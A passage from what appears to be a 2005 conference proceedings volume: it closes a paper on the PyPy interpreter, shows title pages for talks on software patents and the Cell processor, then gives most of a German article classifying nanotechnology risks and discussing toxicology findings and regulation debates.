Standard Object Space, adding lazy evaluation features to Python. It is a small scale showcase for how our whole tool-chain supports flexibility from the interpreter written in Python to the resulting self-contained executable. Our rather complete and Python 2.4-compliant interpreter consists of about 30,000-50,000 lines of code (depending on the way you count code borrowed and adapted from other sources), with another 14,000 lines of unit tests. If we include the tools, the parts related to code analysis and generation, and the standard library modules ported from C, PyPy is now 138,000 lines of code and 32,000 lines of tests. Refer to the statistics web page11 for more detailed information. 6 we already experimented with allowing transparent migration of objects between processes with the help of the existing (and translateable) Thunk Object Space. In general, all experiments are much easier to conduct in PyPy and should provide a resulting standalone executable in a shorter time than traditional approaches. Future work and foreseen possibilities In 2006, the PyPy project aims to translate the standard Python Interpreter to a JIT-compiler and also to support massive parallelism (micro-threads) within the language. These are not trivial tasks especially if we want to retain and improve the modularity and flexibility aspects of our implementation - like giving an independent choice of memory or threading models for translation. Moreover it is likely that our Javascript and other higher level backends (in contrast to our current low-level ones) will continue to evolve. Apart from optimization-related translation choices PyPy is to enable new possibilities regarding persistence, security and distribution issues. We intend to experiment with ortoghonal persistence for Python objects, i.e. one that doesn’t require application objects to behave in a particular manner. Security-wise we will look at sandboxing or capabilities based schemes. For distribution 9 http://www.hpl.hp.com/personal/Hans Boehm/gc/ 10 http://codespeak.net/˜hpk/pypy-testresult/ 11 http://codespeak.net/˜hpk/pypy-stat/ 5 | 278 Software Patenting Adequate means of protection for software. André Rebentisch 279 | | 280 SOFTWARE PATENTING 281 | | 282 SOFTWARE PATENTING 283 | | 284 The Cell Processor Computing of Tomorrow or Yesterday Torsten Hoefler 285 | | 286 THE CELL PROCESSOR 287 | | 288 THE CELL PROCESSOR 289 | | 290 THE CELL PROCESSOR 291 | | 292 The truth about Nanotechnology A concise introduction to what NT is, what it can't do yet and what we should be aware of Niels Boeing 293 | Die Risiken der Nanotechnik Niels Boeing1 Erste Studien zeigen, dass Nanotechnik – wie alle Technologien – Gefahren birgt. Die hier vorgeschlagene Klassifizierung in drei Risikoklassen: isolierte, bioaktive und disruptive Nanotechnik will eine Grundlage für die bevorstehende Nanorisikodebatte schaffen. Es ist ein kühler Maitag in Chicago, als sich auf der Einkaufsmeile Michigan Avenue eine Gruppe junger Leute vor dem Eddie-Bauer-Store plötzlich entblößt. Phantasievoll bemalte Oberkörper kommen zum Vorschein. Doch es ist kein KunstHappening, das hier stattfindet. „Eddie Bauer Hazard“ ist auf einem nackten Rücken zu lesen, „Expose the truth about nanotech“ auf einem anderen, bringt die Wahrheit über Nanotechnik ans Licht. „Thong“, eine Gruppe von Umweltaktivisten, hat wieder zugeschlagen – und die Nanotechnik ihren ersten Fall einer medienwirksamen Protestaktion. Denn Eddie Bauer, die amerikanische Bekleidungskette, verkauft Kleidung, die dank „Nanotex“-Fasern schmutzabweisend ist. Für die Nudisten von Thong ein Umweltrisiko, sollten die Fasern sich aus dem Gewebe lösen und ins Freie gelangen. Proteste gegen Kernkraft und Gentechnik, das war gestern. Jetzt ist offenbar Nanotechnik2 dran, die uns eine „zweite industrielle Revolution“ bescheren, den Krebs besiegen und unsere Energieprobleme lösen soll. Glaubt man Aktivisten wie Thong, ist das nur die halbe Wahrheit: Die Manipulation der molekularen Welt hat Schattenseiten, in denen ungeahnte Gefahren lauern. Sie stehen mit ihren Befürchtungen nicht ganz allein da. Längst ist es nicht mehr nur die utopische Katastrophe außer Kontrolle geratener Nanoroboter, die ein paar versprengte Techniktheoretiker umtreibt. Seit zwei Jahren häufen sich Meldungen von Toxikologen, dass die Wundermaterialien der Nanowelt für Organismen 1 Site nano.bitfaction.com/ Email nbo@bitfaction.com Unter Nanotechnik werden alle Technologien zusammengefasst, die Objekte von weniger als 100 Nanometern Strukturgröße gezielt manipulieren. 1 Nanometer ist ein Milliardstel Meter. Ein Wasserstoffatom, das kleinste Atom im Universum, hat einen Durchmesser von 0,1 Nanometern. 2 | 294 schädlich sein könnten. Schon werden erste Stimmen laut, dass die Nanotechnik reguliert, ja sogar eingeschränkt werden müsse. Müssen wir uns also Sorgen machen? Der Streit Nicht wenigen in der Nanotech-Community stoßen diese Bedenken sauer auf. Josh Wolfe, prominenter Analyst beim US-Investmentunternehmen Lux Capital, sieht hier eine „grüne Gang“ aus Maschinenstürmern am Werk, die nur auf die nächste Gelegenheit gewartet hat, sich in den Vordergrund zu spielen. „Das letzte, was wir jetzt brauchen, ist eine ‚gesellschaftliche Debatte’ und eine scharfe staatliche Aufsicht’, wetterte er vor einigen Monaten in der Online-Ausgabe des Wirtschaftsmagazins Forbes. Denn vor allem in Venture-Capital-Kreisen in den USA ist Nanotechnik längst das „next big thing“, von dem man das Entstehen neuer Milliardenmärkte erwartet. Zwar bestreiten selbst Wolfe und seine Mitstreiter nicht, dass es Probleme geben könnte. Aber in einer Studie von Lux Research unterscheidet man dann zwischen „realen“ und „eingebildeten“ Risiken. Die Tendenz zur Verharmlosung von Bedenken, die aus dieser Formulierung spricht, zieht sich wie ein roter Faden durch die Äußerungen von Forschern und Unternehmern zu den möglichen Konsequenzen. „Wir dürfen nicht den Fehler der Gentechnik wiederholen, wir brauchen den Dialog mit der Öffentlichkeit“ – dieser Satz ist auf jeder Konferenz zum Thema zu hören. Und meint: Wenn man Nanotechnik nur hinreichend erklärt, erledigen sich alle Bedenken von selbst. Für die meisten Zeitgenossen ist Nanotechnik nach wie vor ein Buch mit sieben Siegeln. Daran sei die Szene selbst schuld, meint der USKommunikationsforscher David Berube, der den „Nanohype“ in einem eigenen Blog3 beobachtet. „Was aus Laboren und Regierungen nach außen getragen wurde, hat das Verständnis nicht erhöht. Die Aufklärungsarbeit der Regierung bestand im Wesentlichen darin, sich selbst auf die Schulter zu klopfen, und hat nicht die Öffentlichkeit angesprochen.“ Geht es um Fördergelder, werden viele Forschungsprojekte flugs mit dem Etikett „nano“ versehen. Werden die Risiken thematisiert, heißt es plötzlich, der Begriff Nanotechnik sei viel „zu 3 nanohype.blogspot.com/ THE TRUTH ABOUT NANOTECHNOLOGY breit“, als dass man über ihn einen öffentlichen Dialog führen könne. Das müsse sehr viel differenzierter angegangen werden. Und während angesichts der nanotechnischen Möglichkeiten manchem Experten schon mal das Wort „revolutionär“ über die Lippen kommt, werden Rufe nach Sicherheitsregularien mit dem Argument abgewiesen, so neu und anders sei die Nanotechnik auch wieder nicht, dass man für sie neue Richtlinien erlassen müsse. Also, was denn nun? Eine kritische Bestandsaufnahme tut not. Drei Klassen von Nanotechnik Beginnen wir mit einer kurzen, aber unvermeidlichen Systematisierung der breit gefächerten Nanotechnik (NT). An ihr sind sehr verschiedene Disziplinen beteiligt, die bislang meist nebeneinander geforscht und konstruiert haben. Vor allem Biotechnik, Chemie, Physik und Halbleitertechnik haben sich in ihren Verfahren in den vergangenen Jahrzehnten beharrlich in den Nanokosmos vorgearbeitet und treffen nun aufeinander. Biologen entdecken, dass man mit Mikroben Drähte für elektronische Schaltkreise konstruieren kann, Physiker analysieren mit ihren Werkzeugen die Bestandteile im Zellinneren, und Chemiker entwickeln Kunststoffe, die Licht in Strom umwandeln können. Dabei nutzen sie Effekte, die in der Mikrometerwelt noch nicht zum Tragen kommen. Drei Beispiele: Weil ein Häufchen aus Nanopartikeln eine drastisch größere Oberfläche hat als eine Menge von Mikroteilchen mit derselben Gesamtmasse, ist es ein viel wirkungsvollerer Katalysator oder absorbiert deutlich mehr Licht. Weil sich so genannte Quantenpunkte, Halbleitergebilde aus einigen tausend Atomen, energetisch wie künstliche Atome verhalten, eignen sie sich als Medium für äußerst reines Laserlicht. Weil Nanopartikel so klein sind, dass sie leicht in das Innere von Zellen gelangen können, lassen sie sich als Fähren für Medikamente nutzen, die eine punktgenaue Behandlung von Tumoren ermöglichen. Das Neuartige an der Nanotechnik ist, dass diese Effekte zum ersten Mal gezielt genutzt werden. Zwar verdankten schon Samuraischwerter vor Jahrhunderten ihre außergewöhnliche Härte kleinen Nanopartikeln im Stahl, werden seit Jahrtausenden bei der Verbrennung Nanoteilchen freigesetzt. Aber das waren Zufallsprodukte, keine Ingenieurskunst. Der britische Physiker Richard Jones hat vorgeschlagen, NT danach zu klassifizieren, wie 2 neu eine bestimmte Anwendung im Vergleich zu Vorläufertechnologien ist. Dann würde sich der Streit darum erübrigen, welche Probleme eigentlich schon alte Bekannte sind. „Inkrementelle NT beinhaltet, die Eigen-schaften von Werkstoffen zu verbessern, indem man ihre Struktur auf der Nanoskala kontrolliert“, erläutert Jones in seinem lesenswerten Blog S o f t machines4. Das trifft etwa auf kratzfeste oder wasserabweisende Beschichtungen zu. „Evolutionäre NT besteht darin, existierende Technologien auf Nanoformat zu verkleinern.“ Nanoelektronik wäre so ein Fall. Unter radikaler NT versteht er schließlich Nanomaschinen, die kein Vorbild in der Technikgeschichte haben. Dazu gehören die berüchtigten „Assembler“, winzigste Roboter, die der US-Visionär Eric Drexler in Computersimulationen ersonnen hat. Dieser historische Blickwinkel hilft für eine öffentliche Debatte über mögliche Risiken und den Umgang mit ihnen aber nur bedingt weiter. Denn entscheidend ist: Welche unmittelbaren Wirkungen können Nanoanwendungen auf Organismen haben? Ich schlage deshalb vor, NT für eine Risikodebatte in drei andere Klassen einzuteilen: 1. isoliert, 2. bioaktiv, 3. disruptiv. Klasse 1: Isolierte NT Der größte Teil der gegenwärtigen Nanotechnologien besteht aus Strukturen, in denen die Nanokomponente fest eingebettet und damit von der Umwelt isoliert ist. Zu dieser Kategorie gehören zum einen diverse Werkzeuge zur Untersuchung von Oberflächen und Molekülen. Die meisten sind eine Spielart des Mikroskops. Mit dem 1981 erfundenen Rastertunnelmikroskop lassen sich beispielsweise einzelne Atome oder Moleküle bewegen, allerdings nur über ungeheuer kurze Distanzen. Das Prinzip des Kraftmikroskops, bei dem mikroskopische Siliziumhebelchen unter Krafteinwirkung nachweisbar verbogen werden, kommt auch in einer Reihe von neuen Sensoren zum Einsatz. Das zweite Feld umfasst Werkstoffe wie selbstreinigende oder Antihaft-Beschichtungen. Zwar verdanken sie ihre Eigenschaften Nanopartikeln. Doch die sind in einer Matrix aus Kunststoffen verankert. „Die Substanzen müsste man mit hohem Energieeinsatz zerklei-nern, um die Nanopartikel wieder heraus-zubekommen“, sagt Helmut Schmidt vom Saarbrücker Institut für 4 www.softmachines.org/wordpress/index.php 295 | 3 Neue Materialien, einer der Pioniere der chemischen Nanotechnologie. Ebenfalls zur isolierten NT wird wohl demnächst die Nanoelektronik zu zählen sein, die sich derzeit noch in Laborprototypen erschöpft. Die molekularen Schaltungen sind überhaupt nur dann sinnvoll, wenn sie zu Hunderttausenden, ja Millionen in einem Prozessor fixiert werden können. Die Computerindustrie erhofft sich davon die Sicherung des „Moore’schen Gesetzes“, nach dem sich bei gleichzeitiger Miniaturisierung die Zahl der Transistoren alle 18 Monate verdoppelt. Dieses Innovationstempo würde sich deutlich verlangsamen, wenn die Verkleinerung der elektronischen Bauteile aus physikalischen Gründen gestoppt werden müsste. Eine Unwägbarkeit bleibt bei der isolierten NT: Was passiert mit den Nanokomponenten, wenn die Geräte und Materialien entfernt und entsorgt werden sollen? Konzepte für Recycling oder Wiederverwendung gibt es bisher nicht. Sollte es möglich sein, dass diese Nanoanwendungen sich am Ende ihres Lebenszyklusses zersetzen, würden sie in die nächste Klasse rutschen: die bioaktive NT. Klasse 2a: Unbeabsichtigt bioaktive NT Hier betreten wir erstmals heikles Terrain. „Als wir 1994 die These präsentierten, dass ultrafeine Teilchen unter 100 Nanometern Durchmesser zu gesundheitlichen Schäden führen könnten, wurde das mit freundlicher Skepsis bis hin zu rigider Ablehnung aufgenommen“, sagt Günter Oberdörster von der Universität Rochester im USBundesstaat New York, einer der führenden Nanotoxikologen weltweit. Was seine Zunft seitdem herausgefunden hat, ist durchaus beunruhigend. Denn wie es aussieht, sind künstlich hergestellte Nanopartikel, die nicht in einer Matrix stecken, bioaktiv. „Dieselben Eigenschaften, die Nanopartikel so attraktiv für Anwendungen in Nanomedizin und anderen industriellen Prozessen machen, könnten sich als schädlich herausstellen, wenn Nanopartikel mit Zellen wechselwirken“, konstatiert Oberdörster in der bislang umfassendsten Bestandsaufnahme zur Problematik.5 5 Das Paper hat gemeinsam mit seinen Kindern Eva und Jan, beide ebenfalls Toxikologen, veröffentlicht: Oberdörster et al., EST Juli 2005, „Nanotoxicology: An Emerging Discipline Evolving from Studies of Ultrafine Particles“; es kann unter www.km21.org/nano/risiken/ runtergeladen werden | 296 Ausgerechnet die Stars unter den neuen Nanomaterialien sind hierbei die Hauptverdächtigen: die Buckminsterfullerene. Ihren Namen verdanken diese Kohlenstoffmoleküle der Anordnung ihrer Atome, die an die Kuppelarchitektur des Amerikaners Buckminster Fuller erinnert. Vor knapp zwanzig Jahren wurden sie erstmals bei Lavorversuchen in Rußspuren identifiziert. Die eine bekannte Variante, „Buckyballs“ genannt, besteht aus 60 Atomen, die eine Kugel mit einem Durchmesser von 0,7 Nanometern formen. Dabei sind die Atome zu Fünf- und Sechsecken angeordnet wie die Lederflicken in einem Fußball. Sowohl in Plastiksolarzellen als auch in der Nanomedizin könnten sie eines Tages zum Einsatz kommen. Die andere Variante sind die so genannten Kohlenstoff-Nanotubes. Dabei handelt es sich um Röhren ebenjener atomaren Sechsecke, die mehrere Mikrometer lang werden können und einzeln oder verschachtelt auftreten. Nanotubes sind reißfester als Stahl, leiten Wärme besser als Diamant, der zuvor beste bekannte Wärmeleiter, und können elektrisch leitend oder halbleitend sein. Kein Wunder, dass sie die Nanotechnologen inspirieren. Nanotubes eignen sich als Dioden, als Transistoren, als molekulare Transportbänder für winzige Tröpfchen, aber auch als verstärkende Komponente für Kunststoffe. Aus ihnen lassem sich leichte, äußerst reißfeste Kohlenstoffgarne spinnen oder transparente Folie ziehen, die Wärme abgeben oder leuchten kann. Nanotubes könnten die „eierlegende Wollmilchsau“ der Nanotechnik sein. Das Problem ist, dass Körperzellen und Bakterien sich mit den neuen Kohlenstoffmolekülen nicht recht anfreunden können. Die Chemikerin Vicki Colvin vom Center for Biological and Environmental Nanotechnology (CBEN) an der Rice University in Houston, Texas, fügte bei Invitro-Versuchen Buckyballs Kulturen von Hautzellen hinzu. Bei einer Konzentration von 20 parts per billion (20 Buckyballs pro Milliarde Lösungsmolekülen) starb die Hälfte der Zellen ab – das ist ein 50.000stel der tödlichen Konzentration dreiatomiger Russpartikel (C3). Colvin fand allerdings auch heraus, dass die Buckyballs weniger giftig sind, wenn man sie mit einfachen Molekülen umhüllt. „Dieses Verfahren könnte nützlich sein, um die Toxizität von Nanopartikeln zu tunen“, sagt Colvin. Für Aufsehen sorgte im vergangenen Jahr ein InVivo-Experiment von Eva Oberdörster. Sie hatte Buckyballs in Form wasserlöslicher Cluster in ein THE TRUTH ABOUT NANOTECHNOLOGY Aquarium gegeben. Nach 48 Stunden waren die in den umherschwimmenden Forellenbarschen über die Kiemen ins Gehirn vorgedrungen und hatten Hirnzellen geschädigt. „Wir haben herausgefunden, dass solche C60-Aggregate auch eine ordentliche antibakterielle Wirkung haben“, bestätigt Joseph Hughes, Umweltingenieur am Georgia Institute of Technology. Sein im Frühjahr veröffentlichter Befund lautet: Überschreitet die Konzentration einen Schwellenwert, behindern die Buckyball-Klumpen die Atmung von zwei verbreiteten Bakterienarten, die im Erdreich vorkommen. „Das könnte man für ungemein gute Anwendungen nutzen, es könnte aber auch Auswirkungen auf die Gesundheit von Ökosystemen haben.“ Bei den Nanotubes sieht es nicht viel besser aus. Verschiedene Versuche mit Mäusen und Ratten haben gezeigt, dass Kohlenstoffröhrchen in den Gewebezellen der Lungenbläschen Entzündungsreaktionen hervorrufen können. Eine laufende Studie der schweizerischen EMPA Materials Science and Technology in St. Gallen untersucht deren toxische Wirkung auf Bakterienkulturen. Die bisherigen Ergebnisse zeigen, dass die Zellaktivität sich nach einem Tag drastisch verringert, je nachdem in welcher geometrischen Form die Nanotubes vorliegen. Das von den Herstellern gelieferte Rohmaterial, das noch Katalysatorreste enthält, ist dabei deutlich toxischer als eine gereinigte Mischung oder gar Asbestfasern. Für Peter Wick, Molekularbiologe und Projektleiter, lautet die vorläufige Erkenntnis: „Man muss genau wissen, wie das Material beschaffen ist und auch, wie hoch der Anteil der Verunreinigungen ist.“ Die neuen Kohlenstoffmoleküle sind aber nur ein Teil des Problems. Der Toxikologe Paul Borm von der Zuyd-Universiteit Heerlen verweist darauf, dass selbst „chemisch träge Materialien reaktionsfreudig werden, wenn man sie kleiner macht“. Titandioxid (TiO2) ist ein Beispiel: Versuche hätten gezeigt, dass 20 Nanometer große TiO2-Teilchen zu Entzündungen in Rattenlungen führten, während dieselbe Menge von 250 Nanometer großem TiO2 keine Wirkung gezeigt habe, so Borm. Das Pikante daran: Nanoskaliges TiO2 wird seit Jahren als besonders effizienter UV-Blocker in Sonnencremes verwendet, weil die Gesamtoberfläche viel größer ist als bei den früher verwendeten Mikropartikeln. Untersuchungen des Physikers Tilman Butz von der Universität Leipzig im Rahmen des EU-Forschungsprojektes 4 „Nanoderm“ geben zumindest für gesunde Haut vorläufige Entwarnung: Titandioxidpartikel von nur 20 Nanometern Durchmesser kommen in der Oberhaut nicht tiefer als 5 Mikrometer. „Zwischen der Hornschicht und dem so genannten Stratum spinosum bleiben die Nanopartikel hängen“, sagt Butz. Allerdings gebe es noch keine Ergebnisse, wie sich Titandioxid in sonnenverbrannter Haut oder in den Schweißdrüsen verhalte. Was aber kann eigentlich passieren, wenn Nanopartikel auf Zellen treffen? Nach bisherigem Erkenntnisstand gibt es drei Möglichkeiten. Die Oberfläche eines Nanoteilchens verursacht entweder „Oxidativen Stress“ an der Zellhülle. Das bedeutet, dass sich freie Radikale bilden, also Moleküle, die ein freies Elektron aufweisen und damit ausgesprochen reaktionsfreudig sind. Die Folge: Der Kalziumspiegel innerhalb der Zelle steigt, und im Zellkern kann eine unerwünschte Transkription von Genen in Proteine aktiviert werden. Die können ihrerseits eine Entzündung im Gewebe auslösen. Ein zweiter Effekt ist die Aktivierung von Rezeptormolekülen an der Zellhülle, weil sich Metallatome aus den Nanopartikeln lösen. Mit denselben Konsequenzen wie im ersten Fall. Dritte Variante: Das Nanoteilchen wird als Ganzes von der Zelle verschluckt und gelangt beispielsweise in die Mitochondrien, die „Kraftwerke“ der Zellen. Deren Arbeit wird durch die Anwesenheit des Partikels empfindlich gestört. Das „R-Wort“ oder: Was tun? Die große Frage, die die Nano-Community derzeit plagt, ist nun: Welche Konsequenzen sollte man aus diesen ersten Erkenntnissen ziehen? Müssen Herstellung und Gebrauch von Nanomaterialien womöglich gesetzlich „reguliert“ werden? Oder gar für ein Jahr unter ein weltweites Moratorium gestellt werden, -wie das die kanadische ETC Group, die erste nanotech-kritische Umweltorganisation, seit drei Jahren fordert? Klar ist nur: Gilt das Vorsorgeprinzip, muss etwas geschehen. „Wenn Sie eine Chemikalie vertreiben, müssen Sie ein Materialsicherheitsdatenblatt mitliefern“, sagt Annabelle Hett, Expertin für neu entstehende Risiken beim Rückversicherer Swiss Re. Auf diesen Listen stünden Anweisungen, was beim Umgang mit dem Material zu beachten ist. „Wenn Sie nun das Material bis auf Nanostrukturgrößen verkleinern, gelten immer noch dieselben Materialsicherheits-datenblätter. Das ist 297 | 5 wahrscheinlich nicht ausreichend, weil Nanopartikel eine völlig andere Stoffklasse darstellen.“ Swiss Re hat deshalb in einem weithin beachteten Report 2004 vorgeschlagen, Nanoformate selbst bekannter Werkstoffe wie neue Materialien zu behandeln. Für die müssten dann die üblichen Sicherheitsbewertungen vorgenommen werden. Auch die britischen Royal Society und Royal Academy of Engineering haben in ihrem Nanotech-Report 2004 diese Empfehlung ausgesprochen.6 Andreas Gutsch von Degussa hält eine solche Vorgehensweise nicht für falsch, fordert aber zuerst Risikonachweise. „Sobald wir einen Risikonachweis haben, stimme ich zu, dass die Notwendigkeit einer Regulierung gegeben ist.“ Vorher sollten aber erst einmal die nötigen „Datenmassen“ gesammelt werden. An denen hapert es noch. „Das Wissen, das wir bislang haben, ist für Unternehmen noch nicht ausreichend, um eine Risikobewertung vorzunehmen“, sagt Rob Aitken vom britischen Institut für Berufsmedizin. Für eine Risikobewertung genügt es nämlich nicht zu wissen, welche schädliche Wirkung ein Nanomaterial haben kann. Es muss auch untersucht werden, wo und in welcher Form es überhaupt vorliegt. Nanotubes etwa sind derzeit von mindestens einem Hersteller per UPS in Pulverform beziehbar. Auf dem Behälter fehlt jeder Hinweis, dass das Einatmen der Röhrchen der Gesundheit abträglich sein könnte. Eine mögliche Anwendung von EisenoxidNanopartikeln liegt in der Entgiftung kontaminierter Böden. Die Anwesenheit solchen „Nanorosts“ kann die Zerlegung von Chemikalien in harmlose Bestandteile bewirken. Und dann? „Es wäre zu erwarten, dass sich die Nanomaterialien durch die Nahrungskette bewegen“, mutmaßen die Oberdörsters. Einmal aufgenommen, können Nanopartikel über die Gewebeschichten in Lunge und Darm in die Blutbahn wandern, von dort in Leber, Milz und Knochenmark vordringen und auch die Blut-HirnSchranke passieren. Das immerhin ist klar. Aber: „Wir benötigen noch viel mehr Information“, betont Rob Aitken.Vicki Colvin vom CBEN schätzt, dass es noch „mindestens ein Jahrzehnt“ dauere, bis genug Daten zur Verfügung stünden. Eine internationale Datenbank, in der mögliche Schädigungen und Risiken durch Nanomaterialien aufgelistet sind, gibt es noch nicht, wohl aber erste Ansätze. Die EU-Kommission hat Anfang des Jahres die Datensammlungsprojekte „Impart“ und „Nanotox“7 gestartet. Das CBEN bietet seit September eine Sammlung von toxikologischen Artikeln auf seiner Website an,8 und auch die USUmweltbehörde EPA arbeitet an einer systematischen Erfassung von Risikodaten. Aufeinander abgestimmt sind diese Vorhaben derzeit noch nicht. „Die internationale Zusammenarbeit ist gegenwärtig ziemlich unterentwickelt“, urteilt Günter Oberdörster. Klasse 2b: Intendiert bioaktive NT Bislang ist nur von Nanopartikeln die Rede gewesen, die unbeabsichtigt freigesetzt werden. Doch das ist noch nicht die ganze Geschichte. Lebensmittelhersteller wollen demnächst mit Nanopartikeln die geschmacklichen und gesundheitlichen Eigenschaften unseres Essens verbessern. Und in der Nanomedizin arbeitet man bereits an neuen Diagnoseverfahren und Tumortherapien, bei denen die winzigen Teilchen gezielt in den Körper gebracht werden. So sollen die bereits erwähnten Quantenpunkte als Kontrastmittel für Magnetresonanz-tomographien genutzt werden. Der Kern der nanostrukturierten Mittel besteht bislang meist aus giftigen Schwermetallverbindungen wie Cadmiumselenid, der unter anderem zum Schutz mit Biomolekülen (z.B. Lipiden) umhüllt wird. Die US-Firma Evident Technologies hat vor kurzem immerhin die ersten, nach eigenen Angaben nicht-toxischen Quantenpunkte auf den Markt gebracht, die ohne Cadmiumselenid auskommen. Auch im Kampf gegen den Krebs setzt man auf Nanopartikel, die hier als Medikamententransporter dienen sollen. Kandidaten dafür sind Käfige aus Peptiden, Proteinen oder gar aus DNA, dem Molekül, das in den Zellkernen die Erbinformation aller Organismen codiert. Es gleicht einer verdrillten Strickleiter, deren Sprossen von vier möglichen Basenpaaren gebildet werden: je zwei aus den Molekülen Adenin (A) und Thymin (T), je zwei aus Guanin (G) und Cytosin (C). Mit Hilfe von Enzymen lassen sich die beiden Stränge der DNAStrickleiter voneinander lösen. An einer bestimmten Folge von Basen eines solchen Einzelstrangs kann sich immer nur ein zweiter 7 6 www.nanotec.org.uk/finalReport.htm | 298 8 www.impart-nanotox.org/ cben.rice.edu/research.cfm THE TRUTH ABOUT NANOTECHNOLOGY Strang anlagern, dessen Basen die exakten Gegenstücke zum ersten bilden. Zur Folge AGC passt nur TCG. Diese Eigenschaft aber macht DNA-Einzelstränge zu einer Art Baukastensystem, aus dem sich nicht-biologische Strukturen fertigen lassen: ausgedehnte Gitter, Würfel oder auch Kugeln. Die entscheidende Frage für eine Risikoabschätzung dabei lautet: Ist es möglich, dass sich solche DNA-Partikel im Zellinneren auflösen? Wenn ja, könnten einzelne DNAStränge einen so genannten horizontalen Gentransfer auslösen, sich also in das Genom integrieren. In der Gentherapie ist genau das erwünscht. Hier aber könnte das Phänomen möglicherweise die Bildung von Proteinen auslösen, die die Signalwege in der Zelle durcheinander bringen – und etwa Entzün-dungen nach sich ziehen. Bislang ging es beim Streit um horizontalen Gentransfer um die Veränderungen von Nutzpflanzen in der Landwirtschaft, die über die Nahrungskette in Tiere und Menschen gelangen. Im Falle neuer nanomedizinischer Verfahren würden plötzlich die menschlichen Zellen unvermittelt zum Schauplatz der Problematik. Zwei weitere mögliche Folgen: Freie DNA-Stränge können sich auch ans Genom anlagern und die Aktivierung wichtiger Gene verhindern. Oder sie lagern sich an RNA-Stränge an, die die Information zur Proteinbildung innerhalb der Zelle transportieren. Diese würde dann blockiert. Angesichts solcher Szenarien ist zu erwarten, dass die Gentechnik-Debatte in absehbarer Zeit Bestandteil der NanorisikoDebatte wird. Die Nanomedizin birgt noch ein weiteres Risiko. Eines ihrer Ziele ist, Kranke mit einer individuellen Therapie behandeln zu können. Genetische oder andere molekulare Eigenarten einzelner Menschen sollen mit auf diese zugeschnittenen Wirkstoffen angesprochen werden. Aber es ist durchaus vorstellbar, dass Therapien am Ende zu Waffen umfunktioniert werden, wenn man etwa eine hocheffiziente, gering dosierte „Nanoarznei“ für genetisch ähnliche Bevölkerungsgruppen maßschneidert und damit „ethnische Waffen“ bekommt. Diese Befürchtung ist zwar umstritten. Denn weltweite Genomanalysen haben gezeigt, dass die Einteilung der Menschheit in „Rassen“ keine genetische Grundlage hat. Die Variationen rund um den Globus sind zu groß und korrespondieren nicht mit Merkmalen wie etwa der Hautfarbe. Seit die amerikanische FDA im Juni das 6 Herzmedikament BiDil zugelassen hat, ist aber klar, dass „ethnische“ Waffen sehr wohl denkbar sind. BiDil wurde nach klinischen Tests bereits als Fehlschlag eingestuft, bis eine erneute Auswertung der Daten zeigte, dass es bei afroamerikanischen Testpersonen deutlich häufiger wirkte. Nun wird es speziell für diese Zielgruppe verkauft. Man kann solche Bedenken abwegig finden. „Man muss davon ausgehen, dass es im Zuge der weiteren Nanotechnik-Entwicklung Erkenntnisse geben wird, um gezielt neue Krankheitserreger zuzuschneiden“, warnt Jürgen Altmann, Physiker an der Universität Dortmund. Er untersucht seit 1988 die Folgen von militärischen Anwendungen neuer Technologien. Matthias Grüne vom Fraunhofer Institut Naturwissenschaftliche Trendanalysen hält für denkbar, dass Agenzien, die bislang im Kontakt mit Luftsauerstoff nicht stabil sind, mit Hilfe von Nanoträgern in der Luft ausgebracht werden könnten. Noch seien wir mindestens zehn Jahre von solchen Möglichkeiten entfernt, so Grüne. Sein Fazit: „Es könnte sich ein Missbrauchspotenzial ziviler Nanomedizin entwickeln.“ Solche Arbeiten würden jedoch die B-WaffenKonvention von 1975 unterlaufen, die Eingriffe in Zellprozesse verbietet, sagt Altmann. Dieses Abkommen ist seit damals von 143 Staaten unterzeichnet worden. Solange sich B-Waffen nicht gezielt einsetzen ließen, funktionierte die Konvention. Angesichts der neuen Möglichkeiten wäre aber eine genauere Überprüfung nötig. Die Verhandlungen darüber, wie solche Kontrollen aussehen könnten, wurden von den USA allerdings 2001 verlassen. Solange es solche weltweiten Kontrollen nicht gibt, können Regierungen ungehindert neue BWaffen im Verborgenen entwickeln. Deshalb plädiert Altmann zusammen mit dem amerikanischen Physiker Mark Gubrud dafür, als erstes ein „Verifikationsprotokoll“ zur B-WaffenKonvention zu beschließen. „Außerdem haben wir vorgeschlagen, auf nicht-medizinische nanotechnische Eingriffe in den menschlichen Körper für zehn Jahre gänzlich zu verzichten.“ Hope Shand von der ETC Group fordert zusätzlich, dass „die Nanotechnik von einer internationalen Organisation geleitet werden soll“. Diese International Convention for the Evaluation of New Technologies (ICENT) wäre direkt bei der Uno angesiedelt. Ein solches Gremium schlägt übrigens auch der im Sommer veröffentlichte 299 | 7 „State of the Future 2005“-Report des UN University Millennium Project vor. Klasse 3: Disruptive NT Bis hierhin ist der Katalog möglicher Nanorisiken schon recht vielfältig – ganz ohne jene berüchtigten Nanoroboter, die den amerikanischen Computerwissenschaftler Bill Joy im Jahre 2000 zu einem düsteren Essay im US-Magazin Wired veranlassten. Verschweigen wollen wir sie nicht, denn sie sind ein Beispiel für „disruptive“ NT. Darunter können alle Versuche gefasst werden, künstliche Mikroorganismen herzustellen. Also autonom agierende Nanosysteme, die die Fähigkeit haben, sich zu vervielfältigen, und Lebewesen massiver und großflächiger schädigen könnten als die bioaktive NT. Die Nanoroboter, die Drexler ursprünglich im Sinn hatte – inzwischen hat er sich davon distanziert – sollten im Wesentlichen aus diamantartigen Kohlenstoffverbindungen bestehen. Ihr GAU würde darin bestehen, dass sie sich plötzlich unkontrolliert vervielfältigen und das Rohmaterial hierfür aus der Zersetzung von Lebewesen gewinnen – bis sie schließlich als grauer Maschinenschleim („Grey Goo“) ganze Landstriche überziehen. Inzwischen eröffnet sich auf dem Feld der synthetischen Biologie eine weitere Möglichkeit, künstliche Mikroorganismen zu designen. Daran arbeitet vor allem Craig Venter am Institute for Biological Energy Alternatives in Rockville, USBundesstaat Maryland, der mit seiner Arbeit maßgeblich zur Entschlüsselung des menschlichen Genoms beigetragen hat. 2003 stellte er bereits ein Virus vor, dessen 5386 Basenpaare zu einem in der Natur nicht existierenden Genom verbunden wurden. Derzeit entwirft er ein „neues“ Genom für das Bakterium M. genitalium. Natürlich treiben Venter genausowenig wie Drexler üble Absichten dabei um. Er sieht in den künstlichen Mikroben künftige Arbeitstiere für Energiegewinnung oder Schadstoffbeseitigung. Aber man kann nicht ausschließen, dass künstliche Viren zu einer unkontrollierbaren Bedrohung mutieren könnten. Während die Chancen für Venters Konzept nicht allzu schlecht stehen dürften, ist bislang unklar, wann und ob überhaupt jemals Drexler’sche Nanosysteme möglich sind, die nicht auf der irdischen Biochemie aufbauen. Kann man deshalb disruptive Nanotechnik als Sciencefiction abtun, mit der man sich nicht weiter befassen müsse, wie | 300 es der größte Teil der 